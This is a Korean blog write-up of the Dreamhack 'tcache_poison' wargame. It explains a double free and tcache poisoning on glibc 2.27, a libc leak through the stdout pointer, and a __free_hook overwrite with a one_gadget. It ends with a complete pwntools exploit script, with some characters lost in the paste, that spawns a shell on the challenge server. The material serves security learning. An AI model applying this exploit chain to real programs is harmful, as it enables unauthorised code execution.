Jastes 2022. 11. 6. 22:50

์œ„ ๋‚ด์šฉ์€ ํ•„์ˆ˜๋กœ ์ˆ™์ง€๋ฅผ ํ•ด์•ผ์ง€๋งŒ ์ด ๋ฌธ์ œ๋ฅผ ์ดํ•ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ,
์„ค๊ณ„ ๋ฐ ๊ธฐ๋ณธ์ด ๋ฉ๋‹ต๋‹ˆ๋‹ค.


Tcache Poisoning

๋ฌธ์ œ ํ’€์ด

Full RELRO์™€ NX๊ฐ€ ๊ฑธ๋ ค์žˆ๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.
์ฆ‰, hook overwrite ๊ณต๊ฒฉ์„ ๊ณ ๋ คํ•  ๋ฒ• ํ•˜๊ตฐ์š”

Tcache Poisoning์„ ํ™œ์šฉ์œผ๋กœ tcache๋ฅผ ์กฐ์ž‘ํ•ด ์ž„์˜ ์ฃผ์†Œ์— ์ฒญํฌ๋ฅผ ํ• ๋‹น์‹œํ‚ค๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.
์ค‘๋ณต์‹œํ‚จ ๋ฐฉ๋ฒ•์œผ๋กœ ์•ž์—์„œ ์‚ฌ์šฉํ•œ ๋‹ฌ๋งํฌ์ธํ„ฐ๋„ ์œ„ ๋ฐฉ์‹์˜ ํ™œ์šฉ์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ์ค‘๋ณต์œผ๋กœ ์—ฐ๊ฒฐ๋œ(FIFO ํ˜•์‹์˜ ๋”๋ธ” ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธํ˜•์‹..๊ทธ๋ž˜์„œ ๊ณต๋ถ€ํ•˜๋ผ๊ณ  ํ–ˆ์„๊นŒ์š”?)
frist /bin ๋“ฑ์ด ์œ„์™€ ๊ฐ™์€ ํ˜•์‹์˜ ์ฒญํฌ๊ฐ€ ์œ„์™€ ๊ฐ™์€ ํ˜•์‹์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์ค‘๋ณต์œผ๋กœ ์—ฐ๊ฒฐ๋œ ์ฒญํฌ๋ฅผ ์žฌํ• ๋‹น ์‹œ, ๊ทธ ์ฒญํฌ๋Š” ํ• ๋‹น๋œ ์ฒญํฌ์ด๋ฉด์„œ ๋™์‹œ์— ํ•ด์ œ๋œ ์ฒญํฌ๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์œ„์™€ ๊ฐ™์€ ์ด๋ฏธ์ง€๊ฐ€ ์ง๊ด€์ ์œผ๋กœ ์„ค๋ช…ํ•œ ๋ชจ์Šต ์ „๋ฐ˜์ ์ธ ์„ค๋ช…์€ ์‹œ๊ฐ„ ๊ด€๊ณ„์ƒ ํŒจ์Šคํ• ๊ป˜์š”
๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ค‘์ฒฉ ์ƒํƒœ์ธ ์ฒญํฌ์— ์ž„์˜๊ฐ’์„ ์“ด๋‹ค๋ฉด, ๊ทธ ์ฒญํฌ์˜ fd์™€ bk๋ฅผ ์กฐ์ž‘ ์ฆ‰, exploit ๊ฐ€๋Šฅ์ด์ฃ 
์ €ํฌ๋Š” ptmalloc2๋Š” ๋™์  ํ• ๋‹น ์š”์ฒญ์— ๋Œ€ํ•ด free list์˜ ์ฒญํฌ๋ฅผ ๋จผ์ € ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ ์ด๋ฅผ ํ™œ์šฉ ์ž„์˜ ์ฃผ์†Œ๋กœ RCE!์˜ˆ์ œ๋ฅผ ๋ณด์‹œ๋ฉด ์ฒญํฌ๋ฅผ ์ž„์˜ ํฌ๊ธฐ๋กœ ํ• ๋‹น ๋ฐ ํ•ด์ œ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

ํŠนํžˆ case 2๋ถ€๋ถ„์€ ์ฒญํฌ ํ•ด์ œ ํ›„ chunk ํฌ์ธํ„ฐ๋ฅผ ์ดˆ๊ธฐํ™” X ์ฆ‰ ๋‹ค์‹œ ํ•ด์ œ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค
Double free ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๊ณ  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ
chunk ํฌ์ธํ„ฐ ์ดˆ๊ธฐํ™”๋ฅผ ์•ˆ ํ–ˆ๊ธฐ์— ํ•ด์ œ๋œ ์ฒญํฌ ๋ฐ์ดํ„ฐ๋Š” case 4์กฐ์ž‘์ด ๊ฐ€๋Šฅํ•˜๊ฒ ์ฃ 

๋˜ ๋ณด๋ฉด custom_func ํ•จ์ˆ˜๋Š” 0x100์ด์ƒ์˜ ํฌ๊ธฐ๊ฐ€ ํž™ ์ฒญํฌ๋ฅผ ํ• ๋‹น ํ•ด์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ดˆ๊ธฐํ™”๋ฅผ ์•ˆํ•ด์„œ UAF๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒ ๊ตฐ์š”


Exploit ์„ค๊ณ„

์ž„์˜ ์ฃผ์†Œ ์ผ๊ธฐ ๋ฐ ์“ฐ๊ธฐ๋ฅผ ์œ„ํ•ด Tcache Poisioning์„ ํ™œ์šฉํ•˜๊ธฐ ์œ„ํ•ด ๊ด€๋ จ ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์—†์œผ๋ฏ€๋กœ
์ ๋‹นํ•œ ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ , key๋ฅผ ์กฐ์ž‘ํ•œ ๋’ค(byte ์กฐ์ž‘), ๋‹ค์‹œ ํ•ด์ œ ํ•˜๋ฉด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๊ทธ ์ƒํƒœ์—์„œ ๋‹ค์‹œ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ  ์›ํ•˜๋Š” ์ฃผ์†Œ๋ฅผ ๊ฐ’์œผ๋กœ ์“ฐ๋ฉด tcache์— ์ž„์˜ ์ฃผ์†Œ๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์ œ๋ฅผ ๋‹ค์‹œ ๋ด๋ณด๋ฉด setvbuf ํ•จ์ˆ˜ ์ธ์ž๋กœ stdin๊ณผ stdout์„ ์ „๋‹ฌํ•˜๋Š”๋ฐ, ์ด ํฌ์ธํ„ฐ ๋ณ€์ˆ˜๋“ค์€ ๊ฐ๊ฐ
libc ๋‚ด๋ถ€์˜ ํ•จ์ˆ˜๋กœ์จ ์ •ํ™•ํ•œ ํ•จ์ˆ˜์˜ ๋ช…์นญ์„ ๋ชจ๋ฅด๊ฒ ๋‹ค๋ฉด ์•„๋ž˜์ฒ˜๋Ÿผ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹๋„ ์žˆ์Šต๋‹ˆ๋‹ค

์ด ์ค‘ ํ•œ ๋ณ€์ˆ˜์˜ ๊ฐ’์„ ์ฝ์œผ๋ฉด, ๊ทธ ๊ฐ’์„ ํ™œ์šฉํ•˜์—ฌ libc์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐ ๊ฐ€๋Šฅ!
์ด ํฌ์ธํ„ฐ๋“ค์€ ์ „์—ญ ๋ณ€์ˆ˜๋กœ์„œ bss์— ์œ„์น˜ํ•˜๋Š”๋ฐ, PIE๊ฐ€ ์ ์šฉ X

๊ณ ๋กœ ํฌ์ธํ„ฐ๋“ค์˜ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๊ฐ’์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ libc์˜ ๋งคํ•‘ ์ฃผ์†Œ๋ฅผ ๊ตฌํ–ˆ๋‹ค๋ฉด ๊ทธ๋กœ๋ถ€ํ„ฐ one_gadget์˜ ์ฃผ์†Œ์™€ __free_hook์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐ ํ›„
๋„ฃ๋Š”๋‹ค๋ฉด ์…ธ ํš๋“์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit

๊ทธ๋Ÿผ ์ด์ œ ์–ด๋–ค ๋ฐฉ์‹์œผ๋กœ Tcache Poisoning์œผ๋กœ 0x4141..์„ tcache์— ์ถ”๊ฐ€ํ•˜์—ฌ
๊ทธ ์ƒํƒœ์—์„œ 0x30ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ๋‘ ๋ฒˆ ํ• ๋‹นํ•ด์„œ ๊ณต๊ฒฉ์ด ๋œ๋Š”์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค

์œ„์™€ ๊ฐ™์ด ๋‚˜์˜จ ๊ฒƒ์„ ๋ณด๋ฉด ๊ฐ•์ œ๋กœ SIGSEGV๋กœ ๊ฐ•์ œ ์ข…๋ฃŒํ•œ ๊ฒƒ์„ ๋ฏธ๋ฃจ์–ด ๋ณด์•˜์„ ๋•
๊ณต๊ฒฉ์ด ํ†ตํ•œ๋‹ค๋Š” ์ ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ leak์„ ๊ตฌํ•˜๋ฏ€๋กœ์จ one-gadget๊ณผ __free_hook์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹๋„ ์ด์ „๋ถ€ํ„ฐ
๊ณ„์† ํ–ˆ๊ธฐ์— ์ฝ”๋“œ๋กœ ๋ณด์—ฌ์ฃผ๊ณ  ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค

์—ฌ๊ธฐ์„œ ํ•ต์‹ฌ์€ ์•„๋ฌด๋ž˜๋„ alloc์—์„œ ์žˆ๋Š” ๋ถ€๋ถ„์ด๋ฉฐ, Dreamhack์—์„œ ์ฃผ์„์— ๋‹ฌ์•„์ค€ ๋‚ด์šฉ์„ ํ•ด์„ํ•˜์ž๋ฉด
์•„๊นŒ free๋ฅผ ๋‘๋ฒˆํ•˜์—ฌ UAF์˜ ์ทจ์•ฝ์ ์„ ์‚ด๋ ธ์œผ๋ฉฐ, tcache์˜ ์ฃผ์†Œ์˜ ํฌ๊ธฐ์™€ ํ•ด๋‹น ๋ถ€๋ถ„์„ ์ž„์˜์˜ ํฌ๊ธฐ๋กœ
์ ๋‹นํ•˜๊ฒŒ ์ฑ„์šด ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

ํŠนํžˆ ์™œ stdout ๋ถ€๋ถ„์— /x60์„ ๋„ฃ์œผ๋ƒ ํ˜ธ๊ธฐ์‹ฌ์ด ์ƒ๊ธธ ์ˆ˜ ์žˆ๋Š”๋ฐ stdout์˜ ์ฃผ์†Œ์˜ ๋งˆ์ง€๋ง‰์ด \x60์œผ๋กœ
๋๋‚˜๋ฏ€๋กœ ์—ฌ๊ธฐ์„œ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•  ๋•Œ ๋ฐ์ดํ„ฐ๋„ ๊ฐ™์ด ๋„ฃ์œผ๋ฉด์„œ ํ• ๋‹นํ•ด์•ผํ•˜๋ฏ€๋กœ ์ €๋Ÿฐ ์‹์œผ๋กœ ํ•˜๋ฉฐ

์—ฌ๊ธฐ์„œ stdout์ฃผ์†Œ์— ์ƒ์„ฑํ•œ ์ฒญํฌ์˜ ๋ฐ์ดํ„ฐ ๋ถ€๋ถ„ ์œ„์น˜์—๋Š” _IO_2_1_stdout_์˜ ๊ฐ’์ด ์žˆ๊ธฐ์—
\x60์ด ์•„๋‹Œ ๋‹ค๋ฅธ ๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋ฉด ๊ฐ’์ด ๋ฐ”๋€Œ๊ฒŒ ๋˜์–ด ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ์–ด๋ ค์šด ๋ถ€๋ถ„์ด์˜€์Šต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋‚˜๋จธ์ง€ ๋ถ€๋ถ„์€ ์ฐจ๋ž˜๋Œ€๋กœ ์ž…๋ ฅํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.
์•ž์„œ ๊ณ„์‚ฐํ•œ __free_hook์˜ ์ฃผ์†Œ์— Tcache Poisoning์œผ๋กœ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•˜๊ณ , one_gadget์˜ ์ฃผ์†Œ๋กœ
์ฃผ์˜์ ์€ ์•ž์„œ ์˜ค์—ผ์‹œํ‚จ tcache[0x40]์„ ์ œ์‚ฌ์šฉ X ๊ธฐ์กด์˜ ๊ฐ‘์‹ฑ ๋ฐ”๋€Œ๋ฉด์„œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด์ฃ 

stdout์— ์ฒญํฌ๋ฅผ ํ• ๋‹น ์‹œ stdout์˜ fd๋Š” _IO_2_1_stdout_์ด๊ธฐ ๋•Œ๋ฌธ์ด์ฃ  fd์™€ bk์˜ ์ฐจ์ด๋„ ์ดํ•ดํ•ด์•ผ๊ฒ ์ฃ 
๋”ฐ๋ผ์„œ ์ด ์ƒํƒœ์—์„œ 0x30์˜ ํฌ๊ธฐ๋กœ ๋‹ค์‹œ ํ• ๋‹น์„ ์š”์ฒญ ์‹œ _IO..์— ์ฒญํฌ๊ฐ€ ํ• ๋‹น๋ฉ๋‹ˆ๋‹ค.
ํ•ด์„œ ํ•ด๋‹น ๊ตฌ์กฐ์ฒด๋Š” ํ‘œ์ค€ ์ถœ๋ ฅ๊ณผ ๊ด€๋ จ๋œ ์ค‘์š” ์—ญํ• ์ด๊ธฐ์— ๋ณ€์กฐ ๋ถˆ๊ฐ€๋ผ๋Š” ์ 

์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ์—” ๋‹ค๋ฅธ ํฌ๊ธฐ์˜ tcache๋ฅผ ๋Œ€์ƒ์œผ๋กœ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ์— __free_hook์„ ์กฐ์ž‘ํ•˜๊ณ , free๋ฅผ ํ˜ธ์ถœํ•˜๋Š” hook overwrite๊ฐ€ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Name: tcache_poison.py
#!/usr/bin/python3
 
from pwn import *
#p = process("./tcache_poison")
= remote('host3.dreamhack.games'10190)
= ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")
 
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
 
def alloc(size, data):
    p.sendlineafter("Edit\n""1")
    p.sendlineafter(":"str(size))
    p.sendafter(":", data)
 
def free():
    p.sendlineafter("Edit\n""2")
 
def print_chunk():
    p.sendlineafter("Edit\n""3")
 
def edit(data):
    p.sendlineafter("Edit\n""4")
    p.sendafter(":", data)
 
# Allocate a chunk of size 0x40
alloc(0x30"dreamhack")
free()
 
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
 
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
 
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30"B"*8)          # "dreamhack"
alloc(0x30"\x60")         # stdout
 
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
 
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
 
slog("free_hook", fh)
slog("one_gadget", og)
# Overwrite the `__free_hook` with the address of one_gadget
 
alloc(0x40"dreamhack")
free()
 
edit("C"*8 + "\x00")
free()
 
alloc(0x40, p64(fh))
alloc(0x40"D"*8)
alloc(0x40, p64(og))
 
# Call `free()` to get shell
free()
p.interactive()
 
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€